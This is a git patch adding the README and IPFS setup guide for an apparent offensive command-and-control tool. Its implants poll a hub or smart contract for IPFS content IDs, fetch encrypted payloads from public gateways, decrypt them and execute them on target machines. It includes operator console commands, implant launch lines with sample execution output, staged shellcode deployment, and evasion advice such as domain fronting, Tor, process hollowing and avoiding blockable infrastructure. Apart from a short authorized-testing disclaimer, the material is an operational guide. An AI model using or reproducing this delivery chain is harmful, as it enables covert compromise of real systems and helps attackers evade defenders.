From 7d48887986e4fb7d26d48c226e3384f8bcd3f353 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Tue, 2 Jun 2026 05:59:47 +0000 Subject: [PATCH] Upload files to "c2s_ipfs_payloads" --- c2s_ipfs_payloads/IPFS_UPLOAD.md | 161 ++++++++++++ c2s_ipfs_payloads/README.md | 423 +++++++++++++++++++++++++++++++ c2s_ipfs_payloads/go.mod | 2 + 3 files changed, 586 insertions(+) create mode 100644 c2s_ipfs_payloads/IPFS_UPLOAD.md create mode 100644 c2s_ipfs_payloads/README.md create mode 100644 c2s_ipfs_payloads/go.mod diff --git a/c2s_ipfs_payloads/IPFS_UPLOAD.md b/c2s_ipfs_payloads/IPFS_UPLOAD.md new file mode 100644 index 0000000..69a4844 --- /dev/null +++ b/c2s_ipfs_payloads/IPFS_UPLOAD.md @@ -0,0 +1,161 @@ +# IPFS Upload Guide + +How to get payloads onto IPFS for use with the C2 IPFS payload delivery system. + +## Option 1: Local IPFS Node (Recommended) + +### Install IPFS (Kubo) + +```bash +# Download Kubo v0.29.0 +wget https://dist.ipfs.tech/kubo/v0.29.0/kubo_v0.29.0_linux-amd64.tar.gz + +# Extract +tar -xzf kubo_v0.29.0_linux-amd64.tar.gz + +# Install +cd kubo +sudo bash install.sh + +# Initialize +ipfs init + +# Start the daemon +ipfs daemon & + +# Wait for it to be ready +ipfs id +``` + +### Upload a File + +```bash +# Add a file to IPFS +ipfs add payload.enc + +# Output: added QmX... payload.enc +# The hash is your CID: QmX... +``` + +### Start the Daemon on Boot + +```bash +# Systemd service +sudo tee /etc/systemd/system/ipfs.service << 'EOF' +[Unit] +Description=IPFS Daemon +After=network.target + +[Service] +ExecStart=/usr/local/bin/ipfs daemon +Restart=on-failure +User=root + +[Install] +WantedBy=multi-user.target +EOF + +sudo systemctl enable ipfs +sudo systemctl start ipfs +``` + +### IPFS API + +Once the daemon is running, the API is available at `http://127.0.0.1:5001/api/v0`. +The server uses this by default. + +## Option 2: Pinata.cloud (Free Tier) + +Pinata offers a free tier with 1GB of storage β€” no local node needed. + +### Setup + +1. Create an account at https://pinata.cloud +2. Go to API Keys and generate a JWT +3. Use it with the server/upload tool + +### Upload via API + +```bash +curl -X POST \ + -H "Authorization: Bearer " \ + -F "file=@payload.enc" \ + https://api.pinata.cloud/pinning/pinFileToIPFS +``` + +Response: `{"IpfsHash":"Qm...","PinSize":1234,"Timestamp":"..."}` + +### Upload via the C2 Tools + +```bash +# Using the upload helper +./upload -key -file payload.bin -pinata-jwt + +# Or with server +./server -pinata-jwt -mode http +# Then in console: deploy payload.bin +``` + +## Option 3: web3.storage (Free) + +https://web3.storage offers 5GB free with API key auth. + +```bash +curl -X POST \ + -H "Authorization: Bearer " \ + -H "Content-Type: application/octet-stream" \ + --data-binary @payload.enc \ + https://api.web3.storage/upload +``` + +## Option 4: Infura IPFS API + +Infura provides free IPFS API access (rate limited). + +```bash +# Upload +curl -X POST \ + -F "file=@payload.enc" \ + "https://ipfs.infura.io:5001/api/v0/add" + +# Requires project ID/secret for authenticated gateways +``` + +## Gateway URLs for Download + +The implant supports multiple gateway fallback. Configure via `--gateways`. + +Default gateways used by the implant: + +| Gateway | URL Template | +|---------|-------------| +| ipfs.io | `https://ipfs.io/ipfs/%s` | +| Cloudflare | `https://cloudflare-ipfs.com/ipfs/%s` | +| Filebase | `https://ipfs.filebase.io/ipfs/%s` | +| dweb.link | `https://dweb.link/ipfs/%s` | +| cf-ipfs.com | `https://cf-ipfs.com/ipfs/%s` | + +Custom gateways: + +```bash +./client --cid-source --decryption-key \ + --gateways "https://gateway1.example.com/ipfs/%s,https://gateway2.example.com/ipfs/%s" +``` + +## CID Verification + +When a file is added to IPFS, its content is hashed to produce a content identifier (CID). +The hash is derived from the file content β€” changing even one bit changes the CID. + +The implant downloads the payload and can verify the SHA-256 hash matches the CID +(for CIDv0, this requires base58 decoding of the multihash β€” a proper production +implementation would add a base58 library for full verification). + +## OpSec Notes + +- **Local node**: Your IP is visible to the IPFS DHT when pinning. Use a VPN or Tor. +- **Pinata**: They can see your files. Encrypt before uploading (which this system does). +- **Encryption**: AES-256-GCM with a pre-shared key. Key compromise = payload compromise. +- **Gateway privacy**: Public gateways (ipfs.io, cloudflare-ipfs.com) log your IP. +- **Private gateways**: Run your own gateway for opsec. See: `https://github.com/ipfs/go-ipfs` +- **Pinning**: Files not pinned may be garbage collected. Pin your payloads or use a pinning service. diff --git a/c2s_ipfs_payloads/README.md b/c2s_ipfs_payloads/README.md new file mode 100644 index 0000000..a285c26 --- /dev/null +++ b/c2s_ipfs_payloads/README.md @@ -0,0 +1,423 @@ +# C2 IPFS Payload Delivery System πŸ–€ + +Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block β€” payloads live on IPFS, implants fetch them from any public gateway. + +## Architecture + +``` +β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” +β”‚ Operator │────▢│ CID Source │────▢│ Implant β”‚ +β”‚ Console β”‚ β”‚ (HTTP or β”‚ β”‚ β”‚ +β”‚ (server) β”‚ β”‚ Contract) β”‚ β”‚ (client) β”‚ +β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜ + β”‚ β”‚ β”‚ + β”‚ encrypt + upload β”‚ serves CID β”‚ polls for CID + β–Ό β–Ό β–Ό + β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” + β”‚ IPFS β”‚ β”‚ Implants β”‚ β”‚ IPFS β”‚ + β”‚ Network │◀───────│ poll CID │◀─────────│ Gateways β”‚ + β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ +``` + +### Data Flow + +1. **Operator** encrypts a payload binary with AES-256-GCM and uploads it to IPFS +2. **Operator** publishes the resulting CID to the CID source (HTTP hub or smart contract) +3. **Implant** polls the CID source periodically with jitter +4. **Implant** detects a new CID, downloads the encrypted payload from any IPFS gateway +5. **Implant** decrypts with the pre-shared key, executes, reports status + +## Modes + +### MODE A β€” Simple HTTP CID Hub (Default, No Blockchain) + +A lightweight HTTP server that serves CIDs. The implant polls `GET /cid`. + +**Pros:** Simple, no blockchain knowledge needed, no gas costs. + +``` +β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” GET /cid β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” +β”‚ Server │◀──────────────│ Implant β”‚ +β”‚ :8443 β”‚ ──────────▢│ β”‚ +β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”˜ POST /cid β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ + β”‚ + β”‚ POST /cid {"cid":"Qm..."} + β”‚ + β”Œβ”€β”€β”΄β”€β”€β” + β”‚Operatorβ”‚ + β””β”€β”€β”€β”€β”€β”€β”˜ +``` + +### MODE B β€” Smart Contract CID Feed (Fully Decentralized) + +A smart contract emits `NewCID` events. The implant watches the event log on-chain. + +**Pros:** Fully decentralized, censorship-resistant, transparent. + +**Cons:** Requires ETH for gas, go-ethereum build, chain knowledge. + +``` +β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” emit NewCID β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” +β”‚ Operator │──────────────▢│ Smart β”‚ β”‚ Implant β”‚ +β”‚ Wallet β”‚ β”‚ Contract │◀───│ (watcher)β”‚ +β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ + β”‚ + β”Œβ”€β”€β”€β–Όβ”€β”€β”€β” + β”‚ Events β”‚ + β”‚ (logs) β”‚ + β””β”€β”€β”€β”€β”€β”€β”€β”˜ +``` + +## Quick Start (Mode A β€” 5 minutes) + +### 1. Build + +```bash +# Clone or cd into the project +cd c2-ipfs-payload + +# Build all tools +go build -o server ./cmd/server +go build -o client ./cmd/client +go build -o upload ./cmd/upload + +# Or build the ethereum-enabled versions +go build -tags ethereum -o server-eth ./cmd/server +go build -tags ethereum -o client-eth ./cmd/client +``` + +### 2. Start IPFS + +See [IPFS_UPLOAD.md](IPFS_UPLOAD.md) for detailed setup. + +```bash +# Install and start IPFS daemon +ipfs init && ipfs daemon & +``` + +### 3. Start the Server + +```bash +./server --port 8443 +``` + +The server will: +- Generate a new encryption key (save this!) +- Start the HTTP CID hub on port 8443 +- Open the operator console + +### 4. Deploy a Payload + +In the operator console: + +``` +> deploy /path/to/payload.bin +``` + +Or manually: + +```bash +# Using the upload helper +./upload -key $(cat key.txt) -file payload.bin + +# Then in the console: +> cid QmX... +``` + +### 5. Start the Implant + +```bash +./client \ + --cid-source http://your-server:8443 \ + --decryption-key \ + --poll-interval 30 +``` + +## Server Reference + +### Flags + +| Flag | Default | Description | +|------|---------|-------------| +| `--port` | `8443` | HTTP server port (mode A) | +| `--user` | `""` | Basic auth username (mode A) | +| `--pass` | `""` | Basic auth password (mode A) | +| `--jwt` | `""` | JWT token (overrides basic auth) | +| `--mode` | `"http"` | Operation mode: `http` or `contract` | +| `--ipfs-api` | `http://127.0.0.1:5001/api/v0` | IPFS API URL | +| `--pinata-jwt` | `""` | Pinata.cloud JWT (alternative IPFS) | +| `--enc-key` | `""` | Encryption key (auto-generates if empty) | +| `--contract` | `""` | Contract address (mode B) | +| `--rpc-url` | `""` | Ethereum RPC URL (mode B) | +| `--max-history` | `100` | Max history entries | + +### Console Commands + +| Command | Description | +|---------|-------------| +| `deploy ` | Encrypt, upload to IPFS, update CID | +| `cid ` | Manually set a CID | +| `encrypt ` | Encrypt a file and upload to IPFS | +| `status` | Show current state | +| `history` | Show recent CID history | +| `genkey` | Generate a new encryption key | +| `help` | Show help | +| `exit` | Shutdown | + +### API Endpoints (Mode A) + +| Method | Path | Auth | Description | +|--------|------|------|-------------| +| `GET` | `/cid` | Optional | Get current CID | +| `POST` | `/cid` | Optional | Set a new CID | +| `GET` | `/history` | Optional | Get recent CIDs | +| `GET` | `/status` | Optional | Server status | +| `GET` | `/` | No | API info | + +**Example:** + +```bash +# Set CID +curl -X POST http://server:8443/cid \ + -H "Content-Type: application/json" \ + -d '{"cid":"QmX...","note":"stage2 payload"}' + +# Get current CID +curl http://server:8443/cid + +# Get history +curl http://server:8443/history +``` + +Auth: + +```bash +# With basic auth +curl -u admin:password http://server:8443/cid + +# With JWT +curl -H "Authorization: Bearer " http://server:8443/cid +``` + +## Client Reference + +### Flags + +| Flag | Default | Description | +|------|---------|-------------| +| `--cid-source` | (required) | CID hub URL (mode A) or contract addr (mode B) | +| `--decryption-key` | (required) | 32-byte hex key or passphrase | +| `--poll-interval` | `60` | Poll interval in seconds | +| `--mode` | `"http"` | `http` or `contract` | +| `--rpc-url` | `""` | Ethereum RPC URL (mode B) | +| `--gateways` | defaults | Comma-sep IPFS gateway URLs | +| `--report-url` | `""` | URL to POST execution reports | +| `--config` | `""` | Config file for persistence | +| `--jwt-fetch` | `""` | JWT for authenticated CID hub access | +| `--id` | auto | Implant ID | + +### Behavior + +- **Jittered polling**: Β±20% of the poll interval (reduces fingerprinting) +- **Multi-gateway fallback**: Tries multiple IPFS gateways in random order +- **Config persistence**: Saves last CID, implant ID, and config to a JSON file +- **Auto-reporting**: Posts execution results to a report URL (optional) +- **Signal handling**: Saves state on SIGINT/SIGTERM + +## Encryption + +- **Algorithm**: AES-256-GCM (authenticated encryption) +- **Key**: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256) +- **Output**: `nonce (12 bytes) || ciphertext || tag (16 bytes)` +- **Per-encryption nonce**: Each encryption generates a fresh random nonce + +### Key Management + +```bash +# Generate a key via server (recommended) +./server # auto-generates on start + +# Generate a key manually +./upload -key -file test.bin --no-upload +# Better: use genkey in server console + +# Derive from passphrase +./client --decryption-key "my-secret-passphrase" +``` + +## Smart Contract (Mode B) + +### Contract Interface + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract CIDFeed { + string public latestCID; + + event NewCID(address indexed sender, string cid, uint256 timestamp); + + function publishCID(string memory _cid) public { + latestCID = _cid; + emit NewCID(msg.sender, _cid, block.timestamp); + } +} +``` + +### Deploy and Use + +```bash +# Build with ethereum support +go build -tags ethereum -o server-eth ./cmd/server + +# Start in contract mode +./server-eth \ + --mode contract \ + --contract 0x... \ + --rpc-url https://eth-mainnet.g.alchemy.com/v2/... \ + --enc-key + +# Use the console +> send-cid 0x... QmX... +``` + +### Watching Mode B from the Implant + +```bash +go build -tags ethereum -o client-eth ./cmd/client + +./client-eth \ + --mode contract \ + --cid-source 0x... \ + --rpc-url https://eth-mainnet.g.alchemy.com/v2/... \ + --decryption-key +``` + +## Payload Workflow Walkthrough + +### Complete Deployment Cycle + +```bash +# 1. Build everything +go build -o server ./cmd/server +go build -o client ./cmd/client + +# 2. Start IPFS daemon +ipfs daemon & + +# 3. Start the server (generates key) +./server --port 8443 + +# 4. In the server console: +> genkey +New encryption key: a1b2c3d4e5f6... (64 hex chars) + +> deploy shellcode.bin +Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted) +Uploading to IPFS... +Uploaded! CID: QmXyZ... +Deployed! + +# 5. On the target: +./client \ + --cid-source http://hub.example.com:8443 \ + --decryption-key a1b2c3d4e5f6... \ + --poll-interval 30 + +# 6. Implant output: +Implant started (ID: aabbccdd, mode: http) +Poll interval: 30s with jitter +CID source: http://hub.example.com:8443 +New CID detected: QmXyZ... +Fetching payload from IPFS (544 bytes)... +Decrypted payload (512 bytes), executing... +Payload executed (PID: 12345) + +# 7. Deploy the next stage: +> deploy stage2.bin +Deployed! CID: QmAbCd... +``` + +### Manual Workflow (No IPFS Daemon) + +```bash +# 1. Encrypt locally +./upload -key -file payload.bin --no-upload + +# 2. Upload via Pinata +curl -X POST \ + -H "Authorization: Bearer " \ + -F "file=@payload.bin.enc" \ + https://api.pinata.cloud/pinning/pinFileToIPFS + +# 3. Set the CID on the hub +curl -X POST http://server:8443/cid \ + -d '{"cid":"QmFromPinata"}' +``` + +## OpSec Notes + +### Network + +- **CID hub**: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service +- **IPFS uploads**: Use VPN/Tor when connecting to IPFS or Pinata +- **Gateways**: Public gateways log IPs. Run your own private gateway for opsec. +- **No persistent C2 infra**: No fixed IP that defenders can block β€” only the hub matters + +### Encryption + +- **Payloads are encrypted before IPFS upload**. Content-addressing verifies integrity. +- **Key distribution is the weak point**. Use E2EE (Signal, etc.) or dead drops. +- **Key rotation**: Change the encryption key periodically. Re-encrypt and redeploy. +- **Passphrases**: Use high-entropy passphrases (>80 bits) rather than short passwords. + +### Implant + +- **DNS for CID hubs**: Use domain fronting or CDN fronting to hide the hub backend +- **Jittered polling**: Reduces fingerprintable patterns +- **Config persistence**: Encrypt the config file if saved on disk +- **Runtime detection**: Consider reflective loading or process hollowing for the executed payload + +### Legal + +This tool is for authorized red teaming, penetration testing, and security research. +Do not use against systems you do not own or have explicit written permission to test. + +## Build Requirements + +- Go 1.21+ +- IPFS (optional, for local uploads) β€” [Install Guide](IPFS_UPLOAD.md) +- go-ethereum (optional, for mode B) β€” `go get github.com/ethereum/go-ethereum` + +### Platform Support + +| Platform | Mode A | Mode B | +|----------|--------|--------| +| Linux x86_64 | YES | YES | +| Linux arm64 | YES | YES | +| macOS x86_64/arm64 | YES | YES | +| Windows (cross-compile) | YES | x (CGo) | +| OpenBSD/FreeBSD | YES | x | + +## Project Structure + +``` +c2-ipfs-payload/ +β”œβ”€β”€ cmd/ +β”‚ β”œβ”€β”€ server/main.go # Operator console + CID hub +β”‚ β”œβ”€β”€ client/main.go # Implant +β”‚ └── upload/main.go # Helper: encrypt + upload +β”œβ”€β”€ pkg/ +β”‚ β”œβ”€β”€ types/types.go # Shared data types +β”‚ β”œβ”€β”€ crypto/crypto.go # AES-256-GCM encryption +β”‚ β”œβ”€β”€ ipfs/ipfs.go # IPFS upload/download +β”‚ β”œβ”€β”€ auth/auth.go # HTTP auth middleware +β”‚ └── contract/ +β”‚ β”œβ”€β”€ contract.go # Contract interface (no deps) +β”‚ └── contract_eth.go # go-ethereum implementation +β”œβ”€β”€ README.md # This file +└── IPFS_UPLOAD.md # IPFS setup guide +``` + +DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY diff --git a/c2s_ipfs_payloads/go.mod b/c2s_ipfs_payloads/go.mod new file mode 100644 index 0000000..368e498 --- /dev/null +++ b/c2s_ipfs_payloads/go.mod @@ -0,0 +1,2 @@ +go 1.26 +module github.com/churchofmalware/c2-ipfs-payload